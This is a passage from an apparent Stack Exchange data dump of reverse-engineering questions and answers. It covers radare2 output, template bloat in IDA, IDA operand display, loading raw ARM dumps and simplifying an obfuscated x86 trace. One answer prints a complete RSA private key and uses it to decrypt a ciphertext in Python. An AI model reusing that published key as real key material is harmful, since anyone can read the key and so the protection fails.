sym.imp.__strtol_internal&#xA;0x0000561296b8d3b0    6     1     0     1    3 0x0000561296b8d3b0     6 0x0000561296b8d3b6     0    0      0    0     0 sym.imp.__xstat64&#xA;0x0000561296b8d3c0    6     1     0     1    3 0x0000561296b8d3c0     6 0x0000561296b8d3c6     0    0      0    0     0 sym.imp.wait3&#xA;0x0000561296b8d3d0    6     1     0     1    3 0x0000561296b8d3d0     6 0x0000561296b8d3d6     0    0      0    0     0 sym.imp.opendir&#xA;0x0000561296b8d3e0    6     1     0     1    3 0x0000561296b8d3e0     6 0x0000561296b8d3e6     0    0      0    0     0 sym.imp.stpcpy&#xA;0x0000561296b8d3f0    6     1     0     1    3 0x0000561296b8d3f0     6 0x0000561296b8d3f6     0    0      0    0     0 sym.imp.strlen&#xA;0x0000561296b8d400    6     1     0     1    3 0x0000561296b8d400     6 0x0000561296b8d406     0    0      0    0     0 sym.imp.chdir&#xA;0x0000561296b8d410    6     1     0     1    3 0x0000561296b8d410     6 0x0000561296b8d416     0    0      0    0     0 sym.imp.__stack_chk_fail&#xA;0x0000561296b8d420    6     1     0     1    3 0x0000561296b8d420     6 0x0000561296b8d426     0    0      0    1     0 sym.imp.getuid&#xA;0x0000561296b8d430    6     1     0     1    3 0x0000561296b8d430     6 0x0000561296b8d436     0    0      0    0     0 sym.imp.dup2&#xA;0x0000561296b8d440    6     1     0     1    3 0x0000561296b8d440     6 0x0000561296b8d446     0    0      0    0     0 sym.imp.strchr&#xA;0x0000561296b8d450    6     1     0     1    3 0x0000561296b8d450     6 0x0000561296b8d456     0    0      0    0     0 sym.imp.warnx&#xA;0x0000561296b8d460    6     1     0     1    3 0x0000561296b8d460     6 0x0000561296b8d466     0    0      0    0     0 sym.imp.__strtoul_internal&#xA;0x0000561296b8d470    6     1     0     1    3 0x0000561296b8d470     6 0x0000561296b8d476     0    0      0    0     0 sym.imp.fnmatch&#xA;0x0000561296b8d480    6     1     0     1    3 0x0000561296b8d480     6 0x0000561296b8d486     0    0      0    0     0 sym.imp.geteuid&#xA;0x0000561296b8d490    6     1     0     1    3 0x0000561296b8d490     6 0x0000561296b8d496     0    0      0    0     0 sym.imp.getcwd&#xA;0x0000561296b8d4a0    6     1     0     1    3 0x0000561296b8d4a0     6 0x0000561296b8d4a6     0    0      0    0     0 sym.imp.close&#xA;0x0000561296b8d4b0    6     1     0     1    3 0x0000561296b8d4b0     6 0x0000561296b8d4b6     0    0      0    0     0 sym.imp.pipe&#xA;0x0000561296b8d4c0    6     1     0     1    3 0x0000561296b8d4c0     6 0x0000561296b8d4c6     0    0      0    0     0 sym.imp.strspn&#xA;0x0000561296b8d4d0    6     1     0     1    3 0x0000561296b8d4d0     6 0x0000561296b8d4d6     0    0      0    0     0 sym.imp.closedir&#xA;0x0000561296b8d4e0    6     1     0     1    3 0x0000561296b8d4e0     6 0x0000561296b8d4e6     0    0      0    0     0 sym.imp.strcspn&#xA;0x0000561296b8d4f0    6     1     0     1    3 0x0000561296b8d4f0     6 0x0000561296b8d4f6     0    0      0    0     0 sym.imp.read&#xA;0x0000561296b8d500    6     1     0     1    3 0x0000561296b8d500     6 0x0000561296b8d506     0    0      0    1     0 sym.imp._setjmp&#xA;0x0000561296b8d510    6     1     0     1    3 0x0000561296b8d510     6 0x0000561296b8d516     0    0      0    0     0 sym.imp.execve&#xA;0x0000561296b8d520    6     1     0     1    3 0x0000561296b8d520     6 0x0000561296b8d526     0    0      0    0     0 sym.imp.__fxstat64&#xA;0x0000561296b8d530    6     1     0     1    3 0x0000561296b8d530     6 0x0000561296b8d536     0    0      0    0     0 sym.imp.strcmp&#xA;0x0000561296b8d540    6     1     0     1    3 0x0000561296b8d540     6 0x0000561296b8d546     0    0      0    0     0 sym.imp.signal&#xA;0x0000561296b8d550    6     1     0     1    3 0x0000561296b8d550     6 0x0000561296b8d556     0    0      0    0     0 sym.imp.getpwnam&#xA;0x0000561296b8d560    6     1     0     1    3 0x0000561296b8d560     6 0x0000561296b8d566     0    0      0    0     0 sym.imp.umask&#xA;0x0000561296b8d570    6     1     0     1    3 0x0000561296b8d570     6 0x0000561296b8d576     0    0      0    0     0 sym.imp.strtol&#xA;0x0000561296b8d580    6     1     0     1    3 0x0000561296b8d580     6 0x0000561296b8d586     0    0      0    0     0 sym.imp.sigfillset&#xA;0x0000561296b8d590    6     1     0     1    3 0x0000561296b8d590     6 0x0000561296b8d596     0    0      0    0     0 sym.imp.memcpy&#xA;0x0000561296b8d5a0    6     1     0     1    3 0x0000561296b8d5a0     6 0x0000561296b8d5a6     0    0      0    0     0 sym.imp.kill&#xA;0x0000561296b8d5b0    6     1     0     1    3 0x0000561296b8d5b0     6 0x0000561296b8d5b6     0    0      0    1     0 sym.imp.getgid&#xA;0x0000561296b8d5c0    6     1     0     1    3 0x0000561296b8d5c0     6 0x0000561296b8d5c6     0    0      0    0     0 sym.imp.tcgetpgrp&#xA;0x0000561296b8d5d0    6     1     0     1    3 0x0000561296b8d5d0     6 0x0000561296b8d5d6     0    0      0    0     0 sym.imp.__xstat&#xA;0x0000561296b8d5e0    6     1     0     1    3 0x0000561296b8d5e0     6 0x0000561296b8d5e6     0    0      0    0     0 sym.imp.readdir&#xA;0x0000561296b8d5f0    6     1     0     1    3 0x0000561296b8d5f0     6 0x0000561296b8d5f6     0    0      0    0     0 sym.imp.malloc&#xA;0x0000561296b8d600    6     1     0     1    3 0x0000561296b8d600     6 0x0000561296b8d606     0    0      0    0     0 sym.imp.killpg&#xA;0x0000561296b8d610    6     1     0     1    3 0x0000561296b8d610     6 0x0000561296b8d616     0    0      0    0     0 sym.imp.getegid&#xA;0x0000561296b8d620    6     1     0     1    3 0x0000561296b8d620     6 0x0000561296b8d626     0    0      0    0     0 sym.imp.strpbrk&#xA;0x0000561296b8d630    6     1     0     1    3 0x0000561296b8d630     6 0x0000561296b8d636     0    0      0    0     0 sym.imp.sigsuspend&#xA;0x0000561296b8d640    6     1     0     1    3 0x0000561296b8d640     6 0x0000561296b8d646     0    0      0    0     0 sym.imp.__vsnprintf_chk&#xA;0x0000561296b8d650    6     1     0     1    3 0x0000561296b8d650     6 0x0000561296b8d656     0    0      0    0     0 sym.imp.setrlimit&#xA;0x0000561296b8d660    6     1     0     1    3 0x0000561296b8d660     6 0x0000561296b8d666     0    0      0    0     0 sym.imp.strsignal&#xA;0x0000561296b8d670    6     1     0     1    3 0x0000561296b8d670     6 0x0000561296b8d676     0    0      0    0     0 sym.imp.realloc&#xA;0x0000561296b8d680    6     1     0     1    3 0x0000561296b8d680     6 0x0000561296b8d686     0    0      0    0     0 sym.imp.sigsetmask&#xA;0x0000561296b8d690    6     1     0     1    3 0x0000561296b8d690     6 0x0000561296b8d696     0    0      0    0     0 sym.imp.__longjmp_chk&#xA;0x0000561296b8d6a0    6     1     0     1    3 0x0000561296b8d6a0     6 0x0000561296b8d6a6     0    0      0    0     0 sym.imp.open64&#xA;0x0000561296b8d6b0    6     1     0     1    3 0x0000561296b8d6b0     6 0x0000561296b8d6b6     0    0      0    0     0 sym.imp.mempcpy&#xA;0x0000561296b8d6c0    6     1     0     1    3 0x0000561296b8d6c0     6 0x0000561296b8d6c6     0    0      0    0     0 sym.imp.memmove&#xA;0x0000561296b8d6d0    6     1     0     1    3 0x0000561296b8d6d0     6 0x0000561296b8d6d6     0    0      0    0     0 sym.imp.setgid&#xA;0x0000561296b8d6e0    6     1     0     1    3 0x0000561296b8d6e0     6 0x0000561296b8d6e6     0    0      0    0     0 sym.imp.getpgrp&#xA;0x0000561296b8d6f0    6     1     0     1    3 0x0000561296b8d6f0     6 0x0000561296b8d6f6     0    0      0    0     0 sym.imp.tcsetpgrp&#xA;0x0000561296b8d700    6     1     0     1    3 0x0000561296b8d700     6 0x0000561296b8d706     0    0      0    0     0 sym.imp.open&#xA;0x0000561296b8d710    6     1     0     1    3 0x0000561296b8d710     6 0x0000561296b8d716     0    0      0    0     0 sym.imp.times&#xA;0x0000561296b8d720    6     1     0     1    3 0x0000561296b8d720     6 0x0000561296b8d726     0    0      0    0     0 sym.imp.strtok&#xA;0x0000561296b8d730    6     1     0     1    3 0x0000561296b8d730     6 0x0000561296b8d736     0    0      0    0     0 sym.imp.sysconf&#xA;0x0000561296b8d740    6     1     0     1    3 0x0000561296b8d740     6 0x0000561296b8d746     0    0      0    0     0 sym.imp.__lxstat64&#xA;0x0000561296b8d750    6     1     0     1    3 0x0000561296b8d750     6 0x0000561296b8d756     0    0      0    0     0 sym.imp.setpgid&#xA;0x0000561296b8d760    6     1     0     1    3 0x0000561296b8d760     6 0x0000561296b8d766     0    0      0    0     0 sym.imp.getppid&#xA;0x0000561296b8d770    6     1     0     1    3 0x0000561296b8d770     6 0x0000561296b8d776     0    0      0    0     0 sym.imp.getrlimit&#xA;0x0000561296b8d780    6     1     0     1    3 0x0000561296b8d780     6 0x0000561296b8d786     0    0      0    0     0 sym.imp.setuid&#xA;0x0000561296b8d790    6     1     0     1    3 0x0000561296b8d790     6 0x0000561296b8d796     0    0      0    0     0 sym.imp.strdup&#xA;0x0000561296b8d7a0    6     1     0     1    3 0x0000561296b8d7a0     6 0x0000561296b8d7a6     0    0      0    0     0 sym.imp.strerror&#xA;0x0000561296b8d7b0    6     1     0     1    3 0x0000561296b8d7b0     6 0x0000561296b8d7b6     0    0      0    0     0 sym.imp.fork&#xA;0x0000561296b8d7c0    6     1     0     1    3 0x0000561296b8d7c0     6 0x0000561296b8d7c6     0    0      0    0     0 sym.imp.__ctype_b_loc&#xA;0x0000561296b8d7d0    6     1     0     1    3 0x0000561296b8d7d0     6 0x0000561296b8d7d6     0    0      0    1     0 sub.__cxa_finalize_7d0&#xA;0x0000561296b8d850  455    25    42    17  155 0x0000561296b8d850   455 0x0000561296b8da17    20    6      2    1   280 main&#xA;0x0000561296b8da20   43     1     0     1   17 0x0000561296b8da20    43 0x0000561296b8da4b     1    0      1    0     8 entry0&#xA;0x0000561296b8da50   40     4     4     4   19 0x0000561296b8da50    50 0x0000561296b8da82     0    0      0    1     8 sub.__environ_32_a50&#xA;0x0000561296b8da90   57     4     4     4   24 0x0000561296b8da90    66 0x0000561296b8dad2     0    0      0    1     8 loc.561296b8da90&#xA;0x0000561296b8dae0   51     5     5     4   24 0x0000561296b8dae0    58 0x0000561296b8db1a     2    0      0    0     0 entry2.fini&#xA;0x0000561296b8db20  124     5     5     4   30 0x0000561296b8da90    10 0x0000561296b8db2a     0    0      0    0     8 entry1.init&#xA;0x0000561296da5fd8   72     1     0     1   33 0x0000561296da5fd8    72 0x0000561296da6020     0    0      0    1     0 reloc.__libc_start_main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25753" LastActivityDate="2019-01-06T20:08:20.127" Title="Why does -A (aaa) analysis show much more information, when using the -d (debug) CLI option in Radare2?" Tags="|disassembly|debugging|radare2|static-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20259" PostTypeId="2" ParentId="20233" CreationDate="2019-01-02T08:25:16.580" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://tls.mbed.org/kb/cryptography/asn1-key-structures-in-der-and-pem&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; the structure of a private key looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RSAPrivateKey ::= SEQUENCE {&#xA;  version           Version,&#xA;  modulus           INTEGER,  -- n&#xA;  publicExponent    INTEGER,  -- e&#xA;  privateExponent   INTEGER,  -- d&#xA;  prime1            INTEGER,  -- p&#xA;  prime2            INTEGER,  -- q&#xA;  exponent1         INTEGER,  -- d mod (p-1)&#xA;  exponent2         INTEGER,  -- d mod (q-1)&#xA;  coefficient       INTEGER,  -- (inverse of q) mod p&#xA;  otherPrimeInfos   OtherPrimeInfos OPTIONAL&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If analyzed the base64 data in the ASN.1 decoder&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SEQUENCE (9 elem)&#xA;  INTEGER 0&#xA;  INTEGER (2048 bit) 226871413225308095515915826394392101638242887434378121570998515897193…&#xA;  INTEGER 65537&#xA;  INTEGER (2048 bit) 194320763995749647278490303169550120288709068819771754524412632427072…&#xA;  INTEGER (1024 bit) 134355954175703308272730070638862721054431606752282500957493356998331…&#xA;  INTEGER (1024 bit) 168858473461189648019451140006978906971949575614563598413430805554687…&#xA;  INTEGER (1023 bit) 501346546129182660757986157052258700182511397092797741873369248728839…&#xA;  INTEGER (1023 bit) 467538315673092658034539326878959861744205105375874857990160580678909…&#xA;  INTEGER (1024 bit) 994358373821297873423986022178929159513641342137481304248109111567867…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the values n,e(65537), d, p, q, exponent1, exponent2 and coefficient are present with probably proper lengths.&#xA;So this is a private key. As already mentioned in other answer, see how you can load this in python&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In [1]    from Crypto.PublicKey import RSA  &#xA;          from Crypto.Util.number import long_to_bytes, bytes_to_long&#xA;          &#xA;          k_raw = &quot;MIIEpAIBAAKCAQEAs7d+tTj2F6hEHNzx+xM8HnMVaJTx4ElALVw8p8dLacao6BkT3Prq7j5GvuBZNO0hwjrcmJcpwYm/eR2nW1lu9BoyWTggU5nsDKOs7qkCOPNYm1uEJ/i654uAHmXQCk/dSQW/xlCnnVlgNLPcIP2JQgKp9xh5nXQuffXe/eVT46uOlS4PMEf3P+HhyMqKZlNs8vB0ag9gfebboKjjVw74PANCCpGalQpaAHWXvy9crI0JbzyssMoiinNQDdK9CEUe/7erAMB9kvImB6dAo5RQaghasPtWJ6IOb78SKpqzae4vthyYNiDYSKcrFgR/JlRoNprESem08HNhr44QGd99VwIDAQABAoIBAQCZ7oOjKaTv4npk1oKVcYY+9ofRyjHa0CMeNzDk7HkVoskt87zlvC3Z3pGuEG+YO7x8pvon4OItGZVdYh7kyZeVkZKqhL57nQ1oThFjYnO64AR3HU33Br7gcMZOQxqMmpeJYlk+vfqzdchHm/7iawdT+QAn21jfmpHv5dcYVYMjL27auk0sbHl/8Xfu1+buZCStw6+DUuYRNCZVIvChM0dhhFIx5nCLYwyvDKJKd/WXs+wuA4FyAX9msedsHNmdK1pqKfqrm6QqiexEsf8g7mBvnn+VVr2adOXBuD2HMX8gCMp3kLTwIYKS9ITKQKPD1kxUFjS7zJA/HCysWXGm+VfxAoGBAL9USGVp4v93pPrU6X79AEiXix0tXntCIcPe8q1soEJ69Cu/WSzyQ5BI2Q7/JIgQ6/b69nhRxLHH3WRvU3Lm6etGNg9zfO26LMC1oojO789Ajldug1LJkMJHCjYwhTKLSnZzLDklGha6fTfgrBS87IeQgSFLvbVDrOyzGn0+Zw+FAoGBAPB2Yv7oSi4F5pl6KN+su8FgQXZAyyhdIjYmtlbg5sIjCdWt7ziIs4rRcgF9RnRT7lPoMeKod/eDaqGlwZ50QxQtXB3K/AkqL1w5UUWO4MnPoVP47v4iuU5RYI6YvVs2CaPJ+HDwngjHgw33Sdlr8O3tYz+xMY2gg78qRA/sSPorAoGAR2Tk6urbKKb1qh+ezaMM4wmhgI64bdgcj2F3Pt2E46nLyTNKzGnOal20mVL9x8RAuNWm+PjSI+DHrT2ZbwvZh9CYRaW7nV3Wa0ab0t8dP0IAm4GCgXbzjHtDxTrPyS+O5qpNezlsBcUrCpnMvKROwrtaZBlGPgh105F1tfx+Kp0CgYBClGUAs4ymhZe98ycSF5+9AUve1D3sJS1t1PYzw/3gzxbQBWLxQliEHU31v5wcZYjdzrLRUVg2PjruGxkrKIHSOmUBEs0KNJX8cRphqhfviP/gYlK6Jx8r4jhcA0qa0LGGmkuh6d24DJXq7geSneKN3mbWoddYoZMZATjrN79VFQKBgQCNmfDwvv+o+tI3VA7XAZnefG2TJFBRdBFeQQMZV+wpmQF+ixx9X5iJpi/njh1TLcXvQfppTkmspdUph9j3D5ZBNQbkcU4RAG287DwxjWIR3n+FSLSzer7dKy+Ws2ew68/QFmxlgqZgzp95t074O7C7yHYE/e/Dsr/LEhWy+codNQ==&quot;&#xA;          &#xA;          k = RSA.importKey(&quot;-----BEGIN RSA PRIVATE KEY-----\n%s\n-----END RSA PRIVATE KEY-----\n&quot; % k_raw)&#xA;          ciphertext = &quot;4c0605e901b09d75c5f5befe7438d7246f988531cc7a39a59f24b9488d47dfae9fc8beb5117f34a316f9380607bf239ba6eca84da47a12d720986a8a0100a7e9d7028d7e423557055b9e250f271d6436018c58e79a8f26bac10768776f06dc1786dd7428b3c445b8993e884630b36cb2d300fa5dc1fe0eba9e433062d9d8a58f33bf6f93aa37298a5703ccbf71c93adea447f018e9f75bb43dbc528cfc9bed865a9ba43f926071dabc89ccca2e000f1a966855cc9816e45c0113edb55a700198d346a90487b5ff1191994973eb1b5252b22c6410aa70ea4e9c3ebd468ef273d7cf9d15b5824244cd25f252886d1edfe2d6f2caa5d5e00fd84597e3de192db41b&quot;.decode('hex')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now decryption is simply a &lt;code&gt;pow&lt;/code&gt; operation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print long_to_bytes(pow(bytes_to_long(ciphertext), k.d, k.n))&#xA;          &#xA;gFmqI4XpJBjprHFWrVqkaQ==&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2019-01-02T08:25:16.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20262" PostTypeId="1" AcceptedAnswerId="20263" CreationDate="2019-01-02T12:20:04.090" Score="2" ViewCount="1195" Body="&lt;p&gt;I am trying to learn how to use IDA Pro 6.8 to analyze binaries. However, there are much more functions in ida function list than my code. For example, there is a function in source code that calls four callee functions, two global functions and two public function of a class. But, in ida, it has more than ten callees, if I print the &lt;code&gt;line.points.size()&lt;/code&gt;. It is recognized as a function in ida. line is my class, points is a vector variable of line. The function in ida is named &lt;code&gt;std::vector&amp;lt;std::vector&amp;lt;Point *,std::allocator&amp;lt;Point *&amp;gt;&amp;gt;,std::allocator&amp;lt;std::vector&amp;lt;Point *,std::allocator&amp;lt;Point *&amp;gt;&amp;gt;&amp;gt;&amp;gt;::size(void)&lt;/code&gt;. So it caused that the number of callee is not equal to the number in source. Why are there so much more functions that are not defined as function in my source? How can I recognize which function in ida is the function I define and which one is added by ida?&lt;/p&gt;&#xA;" OwnerUserId="26799" LastActivityDate="2019-01-03T00:56:15.437" Title="Why are there so much more functions in ida than my source code?" Tags="|ida|disassembly|c++|c|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20263" PostTypeId="2" ParentId="20262" CreationDate="2019-01-02T14:49:28.420" Score="2" Body="&lt;p&gt;You just discovered why templates are accused of code bloat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That function is not added by IDA but instead by the compiler when it expanded the templated class &lt;code&gt;std::vector&amp;lt;std::vector&amp;lt;Point*&amp;gt;&amp;gt;&lt;/code&gt; and generated all its member functions. Every std::vector with a different template parameter is considered a separate type. So  &lt;code&gt;std::vector&amp;lt;int&amp;gt;::size()&lt;/code&gt; and &lt;code&gt;std::vector&amp;lt;float&amp;gt;::size()&lt;/code&gt; are separate functions however a sufficiently smart compiler/linker with high enough optimization settings will see that the code of the two is the exact same and be able to combine them.&lt;/p&gt;&#xA;" OwnerUserId="14025" LastActivityDate="2019-01-02T14:49:28.420" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20264" PostTypeId="1" CreationDate="2019-01-02T15:01:43.783" Score="1" ViewCount="619" Body="&lt;p&gt;When analysing mach-o binaries IDA seems to interpret const/literal part of x86 mov instruction(0x8B) as an offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hex rerpresentation: &lt;code&gt;8B 40 0A&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct assembly: &lt;code&gt;mov eax,DWORD PTR [eax+0x0A] ; 8B 40 0A&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA assembly:&lt;code&gt;mov  eax, dword ptr ds:(loc_1DF4B8 + 3 - 1DF4B1h)[eax]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;loc_1DF4B8 + 3 - 1DF4B1 = 0x0A&lt;/code&gt; so its basicaly the same but the offset part throws of further analysis on the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any option i'm missing to prevent this from happening or any scriptable way to fix it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: individual instructions can be fixed with s &lt;code&gt;#&lt;/code&gt; shortcut&lt;/p&gt;&#xA;" OwnerUserId="26945" LastEditorUserId="26945" LastEditDate="2019-01-02T17:25:59.320" LastActivityDate="2022-01-17T02:01:25.173" Title="IDA Interpreting mov instructions in a unusual way" Tags="|ida|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20265" PostTypeId="2" ParentId="20264" CreationDate="2019-01-02T21:55:50.583" Score="1" Body="&lt;p&gt;it seems this is due to the heuristic applied by IDA. Could you tell us how &lt;code&gt;eax&lt;/code&gt; is initialized?&#xA;Regarding your issue, and if IDA is wrong every times, I think your answer is on the IDA options:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NI4FC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NI4FC.png&quot; alt=&quot;here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I didn't test it.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-01-02T21:55:50.583" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20266" PostTypeId="2" ParentId="20254" CreationDate="2019-01-02T22:10:10.313" Score="2" Body="&lt;p&gt;&lt;code&gt;First I believe loading it with IDA (or r2) could be helpful. But I don't know how to set up a raw dump in IDA, do i have to load it manually? am i missing something?&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA directly handles raw image, all you have to do is specify the &lt;code&gt;ARM little-endian [ARM]&lt;/code&gt; in the processor type.&#xA;Once it's loaded, your first challenge is to identify the memory layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Secondly. The dump is not encrypted. I can find strings, references to programs that run in the system, etc... I guess I can also find code (like .text sections in PC but whatever are called in this system) which I should be able to reverse. Is this theory right? if so, how to put it in practice? how can I find pieces of code? I have tried entropy, which seems to be quite useful; code tends to have high entropy. Technically speaking, how would I load that code in IDA properly?&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information requires is to know what kind of dump do you have, if you dump memory from a vulnerability, or from a JTAG, or whatever. The layout might be different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Few examples: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If this is a raw dump, I would suggest to start with the address 0x0 and look for the Arm exception vector.&lt;/li&gt;&#xA;&lt;li&gt;If you dump it from a flash memory, you might find files embedded inside with binwalker.&lt;/li&gt;&#xA;&lt;li&gt;If there's a MMU, you could retrieve the page tables and recreate the virtual layout.&lt;/li&gt;&#xA;&lt;li&gt;You could look for strings which are used by open source software (e.g. u-Boot, linux, ...) and retrieve function pointers to start to reconstruct the image.&lt;/li&gt;&#xA;&lt;li&gt;And so on.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hopefully you can provide further information about the target, that's sound interesting. :)&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-01-02T22:10:10.313" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="20268" PostTypeId="2" ParentId="20245" CreationDate="2019-01-02T23:32:28.073" Score="2" Body="&lt;p&gt;Interesting topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing I do to simplify obfuscation, is to determine if the obfuscator works in assembly or IR level.&#xA;In assembly level, you usually have a finer granularity and tricky instructions, where in an IR level you find better looking functions and standard instructions from a compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This case should be on assembly language level, because there are lot of useless stack displacement and assignment, I suggest to start to simplify it. I manually did that, it's a way to figure out the pattern (if possible) and then automatize the process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;esp=0255ff78 jmp     0040aeb1&#xA;esp=0255ff78 pushfd                                 ;; 0255ff74 = flags&#xA;esp=0255ff74 mov     dword ptr [esp],580B8317h      ;; 0255ff74 = 0x580B8317&#xA;esp=0255ff74 jmp     0040892d&#xA;esp=0255ff74 mov     byte ptr [esp],dl              ;; 0255ff74 = 0x580B8300&#xA;esp=0255ff74 mov     dword ptr [esp],1B2F9632h      ;; 0255ff74 = 0x1B2F9632&#xA;esp=0255ff74 jmp     0040e0cf&#xA;esp=0255ff74 pushfd                                 ;; 0255ff70 = flags&#xA;esp=0255ff70 pushad                                 ;; 0255ff6c = eax = ffff8001&#xA;                                                    ;; 0255ff68 = ecx = 77781e4c&#xA;                                                    ;; 0255ff64 = edx = 00000000&#xA;                                                    ;; 0255ff60 = ebx = 001603b6&#xA;                                                    ;; 0255ff5c = esp = 0255ff70&#xA;                                                    ;; 0255ff58 = ebp = 0255ff80&#xA;                                                    ;; 0255ff54 = esi = 00401233&#xA;                                                    ;; 0255ff50 = edi = 00401233&#xA;&#xA;esp=0255ff50 call    00408cfb                       ;; 0255ff4c = 0040e0d1 + 5 = 0x40e0d6&#xA;esp=0255ff4c mov     dword ptr [esp+24h],7ECAB5C8h  ;; 0255ff70 = 0x7ECAB5C8&#xA;esp=0255ff4c mov     byte ptr [esp],88h             ;; 0255ff4c = (0x40e0d6 &amp;amp; 0xffffff00) | 0x88 = 0x40e088&#xA;esp=0255ff4c push    4EE1A112h                      ;; 0255ff48 = 0x4EE1A112&#xA;esp=0255ff48 push    eax                            ;; 0255ff44 = ffff8001&#xA;esp=0255ff44 lea     esp,[esp+2Ch]                  ;; esp = 0255ff70&#xA;esp=0255ff70 jmp     00406089&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I agree with you about the two &lt;code&gt;push&lt;/code&gt; instructions. Between the beginning and the end, the stack was decremented of 4 + 4, and the assignment at these offsets give the value of the &lt;code&gt;push&lt;/code&gt;.&#xA;It doesn't mean these values will be eventually used, though.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I was trying to convert these functions to LLVM IR and then optimize&#xA;  it but all of known to me tools weren't able to do that. As far as I&#xA;  remember only llvm-mctoll was generating suitable IR (but it was&#xA;  failing in most cases, probably because of lack of supported&#xA;  instructions), other generated a lot of useless junk code and after&#xA;  optimization it looked even worse.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The main issue is how an instruction is actually converted to the IR and how it'll react with the compiler's passes. Some obfuscations could be optimized by a compiler, others don't.&#xA;An example is, how a compiler is supposed to interact with the &lt;code&gt;pushf&lt;/code&gt; or &lt;code&gt;pushad&lt;/code&gt; instruction? If you can remap the stack usage as &lt;code&gt;alloca&lt;/code&gt;, you could easily remove useless access. If &lt;code&gt;esp&lt;/code&gt; access is viewed as a non-volatile write on memory, the compiler will have to keep it every time.&#xA;Compilers are better to perform well-known optimization like constant propagation.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Other tools like Miasm or Angr optimized only IR, and that's not what&#xA;  I'm looking for.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What's the problem with the IR?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How am I supposed to do that? Optimizing it by hand is pretty easy but&#xA;  it's time consuming (it has about 4k asm instructions).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I recommend a tool which works on the IR level and you define your own optimization. If you can simplify the stack usage and useless &lt;code&gt;jmp&lt;/code&gt; / &lt;code&gt;call&lt;/code&gt;, you will get a better view of the original code.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does any tools that might help with such kind of optimising exists?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, but I think you already know them.&#xA;In case of: &lt;a href=&quot;https://github.com/JonathanSalwan/Triton&quot; rel=&quot;nofollow noreferrer&quot;&gt;triton&lt;/a&gt; and &lt;a href=&quot;https://github.com/wisk/medusa/&quot; rel=&quot;nofollow noreferrer&quot;&gt;medusa&lt;/a&gt; &lt;em&gt;(disclaimer: I'm the author of the latter, and it's kinda broken at the moment)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Where is the problem with creating them?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most of these tools work with an IR, the first issue is to convert assembly code to an IR language to work with.&#xA;The next step is to implement simplification passes (like a compiler).&#xA;The final step is to construct expression by executing symbolically the code, the complexity grows very quickly and you end with poor performances / memory exhaustion.&#xA;Usually, you have to simplify these expressions manually by concreting some inputs and applying optimizations.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As far as I understand theory it's quite easy, especially that I'm&#xA;  not analysing binary but trace so I don't have to care about proper&#xA;  flow paths, disassembling etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Analyzing a trace is usually easier, but there's a 